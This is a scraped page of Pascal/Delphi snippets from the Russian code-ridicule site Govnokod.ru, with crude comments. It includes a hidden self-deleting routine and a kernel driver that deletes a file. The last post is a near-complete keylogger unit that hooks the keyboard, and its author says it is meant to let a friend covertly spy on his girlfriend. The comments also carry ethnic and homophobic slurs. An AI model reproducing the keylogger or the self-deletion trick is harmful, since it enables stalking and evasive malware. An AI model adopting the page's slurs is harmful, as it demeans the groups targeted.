Pascal — Говнокод.ру

Pascal / Говнокод #26290

0

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

procedure TForm1.IdHTTPServer1CommandGet(AContext: TIdContext;
  ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
  var
    http:tidhttp;
    ss:tstringstream;
  begin
  try
    http:=tidhttp.Create(nil);
    http.CookieManager:=tIdcookiemanager.Create(nil);
    http.HandleRedirects:=true;
    http.AllowCookies:=True;
    http.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0';
    http.IOHandler:=tidssliohandlersocketopenssl.Create(nil);
    http.Compressor:=tidcompressorzlib.Create(nil);
    http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    http.Request.AcceptEncoding:='gzip, deflate';
    SS:=tstringstream.Create;
    HTTP.Get(ARequestInfo.URI, SS);
    aresponseinfo.CharSet:=http.Response.CharSet;
    aresponseinfo.ContentType:=http.Response.ContentType+'; '+'charset='+http.Response.CharSet+';';
    aresponseinfo.ContentStream:=SS;
    AResponseInfo.WriteContent;
  except

  end;


end;

Мой разложившийся мозг сопротивляется. Сковзь пелену галлюцинаций, где где меня имеют сразу несколько волосатых таджиков, отчетливо пробивается реклама. Ее много. Очень много. Реклама и навязчивые видео с предложениями "срубить бабла" даже страшнее галлюцинаций. Я написал простой фильтр, заключающийся в локальном сервере, к которому я подключаюсь из браузера. Сервер является точкой доступа. Неугодные запросы я буду отпиздовывать на корню.
Собственно, этот код я запостил как фикс досадного гълюка, заключающегося в том, что браузер посылает нахой поле charset. Это херит даже код html.
Кодировку следует указывать в поле "КонтентТипе"

пожалуй, всё. пока.

AnalBoy, 30 Декабря 2019

Комментарии (10)

Pascal / Говнокод #26060

0

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

procedure TForm1.Button1Click(Sender: TObject);
  var
    RequestBody,SResponseBody: TStringStream;

    ResponseBody: string;
begin


  try
     RequestBody := TStringStream.Create('{"login":"user","password":"pass999"}') ;
    httpconn.HandleRedirects:=TRUE;
    IdSSLIOHandlerSocketOpenSSL1.SSLOptions.Method:=sslvSSLv23;
    //httpconn.Host:='api.owencloud.ru';
    httpconn.Request.Accept:='application/xml';
    httpconn.Request.ContentLength:=68;
    httpconn.Request.ContentType:='application/x-www-form-urlencoded';

    ResponseBody:=httpconn.Post('https://api.owencloud.ru/v1/auth/open', RequestBody);
    SResponseBody:=TStringStream.Create(httpconn.Post('https://api.owencloud.ru/v1/auth/open', RequestBody));
    memo1.Text:=utf8toansi(ResponseBody);
    xmldocument1.LoadFromStream(SResponseBody);
 finally
    RequestBody.Free;
    SResponseBody.Free;
 end;
end;

Передача в мемо волшебна, а в xml так вообще виртуозна

untitled_001, 30 Ноября 2019

Комментарии (15)

Pascal / Говнокод #25892

+1

1

https://pastebin.com/8c6KxabR

Бон аппетит, блядь.

cmepmop, 01 Октября 2019

Комментарии (16)

Pascal / Говнокод #25789

0

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19

inside:=false;
tag:=uppercase(tagpure);
spacep:=pos(' ',tag);
if spacep=0 then tagname:=tag else tagname:=copy(tag,1,spacep-1);

if (not inscript) and (tagname='A') then
begin
ParseTag(tagpure);
//если флажок Ссылки или флажок Якоря включен
if checkBox9.Checked or checkBox10.Checked then
begin
linktext:=Lg.GR(24);
linktag:='HREF';
link2text:=Lg.GR(25);
link2tag:='NAME';
needlink:=true;
needdbr:=true;
end;
end;

Вернулся в 2007 1997.
s: h/465709

gost, 01 Сентября 2019

Комментарии (85)

Pascal / Говнокод #25468

0

01
02
03
04
05
06
07
08
09
10

Ent := 0.0;
  for I := Low(Freq) to High(Freq) do
    Ent := Ent + Freq[I];
  Ent := Ln(FileSize(Input)) / Ln(2) * Ent;
  for I := Low(Freq) to High(Freq) do
  begin
    if Freq[I] > 0 then
      Ent := Ent - Freq[I] * Ln(Freq[I]) / Ln(2);
  end;
  Ent := Ent / FileSize(Input);

Скучно, девочки!

Increment_Excrement, 23 Марта 2019

Комментарии (66)

Pascal / Говнокод #25335

−2

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20

Program Aliski; 
uses Graphabc; 
begin 
SetWindowWidth(800); 
SetWindowHeight(600); 
SetPenWidth(3); 
SetFontSize(18); 
SetFontColor(clGreen); 
rectangle(85,80,500,140); 
TextOut(100,100,'Алексей у тебя реально 10см?'); 
Circle(350,500, 40); 
Circle(430,500, 40); 
FloodFill(350,500,clSkyBlue); 
FloodFill(430,500,clPurple); 
Line(350,460,350,250); 
Line(430,460,430,250); 
Line(340,250,440,250); 
Line(390,220,390,200); 
Arc(390,250,50,0,180); 
end.

Ученик решил поприкалываться над товарищем на уроке

vodandr, 28 Января 2019

Комментарии (58)

Pascal / Говнокод #25044

−102

1
2
3
4
5
6
7
8
9

procedure SelfDelete;
var
  S,SS:string;
begin
  SS:=ParamStr(0);
  S:='/c for /L %f in (1,1,100000) do if exist("'+SS+'") del /q /f^"+SS+" else exit';
  ShellExecute(0, nil, 'CMD', @S[1],nil, SW_HIDE);
  FatalAppExit(0,"Админ, забань борманда")
end;

Великий конспиратор продакшн.

blackray, 01 Ноября 2018

Комментарии (69)

Pascal / Говнокод #25038

+4

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

unit ZwDeleteFileSample;

interface

uses Windows, nt_status, native, hal, fcall, macros, ntoskrnl;

function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;

implementation

procedure DriverUnload(pDriverObject: PDriverObject); stdcall;
begin
  DbgPrint('Test Driver :: Unloaded');
end;

function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;
var UNICODESTRING: UNICODE_STRING;
  obj: OBJECT_ATTRIBUTES;

begin

  DbgPrint('Test Driver :: Loaded');
  DriverObject^.DriverUnload := @DriverUnload;

  RtlInitUnicodeString(UNICODESTRING, '\??\C:\test.exe');
  InitializeObjectAttributes(obj, @UNICODESTRING, OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, 0, nil);
  Result := ZwDeleteFile(@obj);

  if Result = STATUS_SUCCESS then
  begin
    DbgPrint('File deleted sucessfully - Result:0x%.8X', Result); // Result to get Error Code
  end else
  begin
    DbgPrint('Fail to delete file - Result:0x%.8X', Result); // Result to get Error Code
    DbgPrint('Object name :%wZ',  obj.ObjectName); // Result to get Error Code
  end;
  Result := STATUS_SUCCESS;

end;

end.

Драйвер на дэлфи. Ничего необычного, листайте дальше.

blackray, 29 Октября 2018

Комментарии (10)

Pascal / Говнокод #24872

0

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

procedure TMainForm.FormCreate(Sender: TObject);
var
  s : String;
  reg : TRegistry;
begin
  SetLength (s, Max_Path);
  SHGetSpecialFolderPath (0, PChar(s), CSIDL_COMMON_APPDATA, false);
  AppDataPath := s + '\Test\';
  ShowMessage (AppDATAPath);
end;

, где AppDataPath : string;
Только вот в AppDataPath находиться только S, а должно быть s + '\Test\'
Вопрос: Почему?
Заранее благодарен



Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать. Нужно делать так:

Код:
var
  s : array[ 0..MAX_PATH ] of Char;
  reg : TRegistry;
begin
  s[ 0 ] := #0;
  SHGetSpecialFolderPath (0, s, CSIDL_COMMON_APPDATA, false);
  AppDataPath := s + '\Test\';
  ShowMessage (AppDATAPath);
end;

http://www.programmersforum.ru/showthread.php?t=84319

@Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать.
Ахуенно крутой спец по строкам.

Кстати, https://primechaniya.ru/home/news/oktyabr-2018/v-tatarstane-18-podrostkov-otravilis-kitajskimi-duhami/

BagorCtretora, 08 Октября 2018

Комментарии (63)

Pascal / Говнокод #24859

+2

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99

unit KHook;

interface

uses Windows, SysUtils, Messages;

const
  WH_KEYBOARD_LL = 13;
  LLKHF_UP = $0080;

type
  TKbdHookEvent=procedure (S:WideString);

type
  PKbdDllHookStruct = ^TKbdDllHookStruct;
  TKbdDllHookStruct = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  KBDLLHOOKSTRUCT = TKbdDllHookStruct;

implementation

var
  KbdProc:TKbdHookEvent=nil;
  Hook:HHOOk;
  WinTitle:WideString='';

function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
  KeyName:WideString;
  CurrWinTitle:WideString;
  KeyState : TKeyboardState;
  hklLayout:HKL;
  FW:HWND;
begin
   try
    if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
    begin
      FW:=GetForegroundWindow;
      hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
      GetKeyboardState(KeyState);
      SetLength(CurrWinTitle, 1000);
      SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
      with PKbdDllHookStruct(LParam)^ do
      case vkCode of
        VK_BACK:     KeyName := '[BackSpace]';
        VK_TAB:      KeyName := '[Tab]';
        VK_CAPITAL:  KeyName := '[CapsLock]';
        VK_RETURN:   KeyName := '[Enter]';
        VK_ESCAPE:   KeyName := '[Esc]';
        VK_CANCEL:   KeyName :=  '[Cancel]';
        VK_F1:       KeyName := '[F1]';
			{...}
        VK_HELP:     KeyName := '[Help]';
      else
        SetLength(KeyName,1);
        KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
        KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
        if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
        KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
      end;
      if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
      if WinTitle='' then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:=CurrWinTitle+' {'#13#10+KeyName;
      end
      else if WinTitle <> CurrWinTitle then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
      end;
      KbdProc(KeyName);
    end;
  finally
     Result := CallNextHookEx(Hook,nCode,wParam,lParam);
  end;
end;

function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
  if Assigned(lpCallBack) then
  KbdProc:=lpCallBack;
  Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
  Result:=(Hook <> INVALID_HANDLE_VALUE);
end;

function RemoveHook:Boolean;
begin
   Result:=UnHookWindowsHookEx(Hook);
end;

  exports SetHook,
   RemoveHook;
end.

Клавиатурный сексот на Delphi.
Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

BagorCtretora, 04 Октября 2018

Комментарии (124)

Говнокод: по колено в коде.